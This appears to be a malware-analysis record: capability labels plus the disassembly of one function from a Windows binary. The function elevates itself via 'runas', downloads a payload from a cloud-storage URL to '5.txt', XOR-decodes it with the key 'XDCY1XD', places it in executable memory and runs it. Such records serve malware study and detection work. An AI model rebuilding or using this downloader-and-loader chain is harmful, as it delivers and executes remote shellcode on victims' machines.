Function at 0x1415bf000
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Get token membership
Read file on windows

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x118]
sub rsp, 0x218
mov rax, qword [0x14001e008]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov word [rbp - 0x18], 0x500
lea rax, [rsp + 0x60]
mov dword [rbp - 0x20], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x1c]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rbp - 0x1c], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1415bf0af
mov rdx, qword [rsp + 0x60]
lea r8, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rbp - 0x20]
test eax, eax
cmove ecx, ebx
mov dword [rbp - 0x20], ecx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x20], ebx
jne 0x1415bf120
mov r8d, 0x104
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1415bf120
xor edx, edx
mov dword [rsp + 0x70], 0x70
lea rcx, [rsp + 0x74]
lea r8d, [rdx + 0x6c]
call fcn.140003b30
lea rax, str.runas
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], rax
lea rcx, [rsp + 0x70]
lea rax, [rbp - 0x10]
mov dword [rbp - 0x60], 1
mov qword [rbp - 0x78], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1415bf321
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
je 0x1415bf321
lea rcx, str.urlmon.dll
mov qword [rsp + 0x230], rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x1415bf232
lea rdx, str.URLDownloadToFileA
mov qword [rsp + 0x238], rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x1415bf313
lea rcx, str.5.txt
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1415bf199
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.5.txt
xor ecx, ecx
lea rdx, str.https:__wwwasdqwewqewqe225_1328290122.cos.ap_chongqing.myqcloud.com_225.txt
call rdi
test eax, eax
js 0x1415bf313
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14001b4a8]
lea rcx, str.5.txt
call fcn.140006628
mov rdi, rax
test rax, rax
je 0x1415bf313
xor edx, edx
mov qword [rsp + 0x240], r14
mov rcx, rax
mov qword [rsp + 0x210], r15
lea r8d, [rdx + 2]
call fcn.140006924
mov rcx, rdi
call fcn.140006564
xor r8d, r8d
movsxd r14, eax
xor edx, edx
mov rcx, rdi
call fcn.140006924
mov rcx, r14
call fcn.140006f44
mov r15, rax
test rax, rax
jne 0x1415bf258
mov rcx, rdi
call fcn.1400066b8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r14, qword [rsp + 0x240]
mov r15, qword [rsp + 0x210]
mov rdi, qword [rsp + 0x238]
mov rsi, qword [rsp + 0x230]
mov eax, 1
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.1400021a0
add rsp, 0x218
pop rbx
pop rbp
ret
mov r9, rdi
mov r8, r14
mov edx, 1
mov rcx, r15
call fcn.140006bd0
mov rcx, rdi
call fcn.1400066b8
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test r14, r14
je 0x1415bf2d1
movabs r8, 0x2492492492492493
lea r9, str.XDCY1XD
nop dword [rax]
nop dword [rax + rax]
mov rax, r8
mov rcx, rbx
mul rbx
mov rax, rbx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rbx + r15], al
inc rbx
cmp rbx, r14
jb 0x1415bf2a0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, r14
mov rdx, r15
mov rcx, rax
mov rbx, rax
call fcn.140005960
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
mov rcx, r15
call fcn.14000692c
jmp 0x1415bf211
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1415bf22a
xor ecx, ecx
call fcn.140006064
int3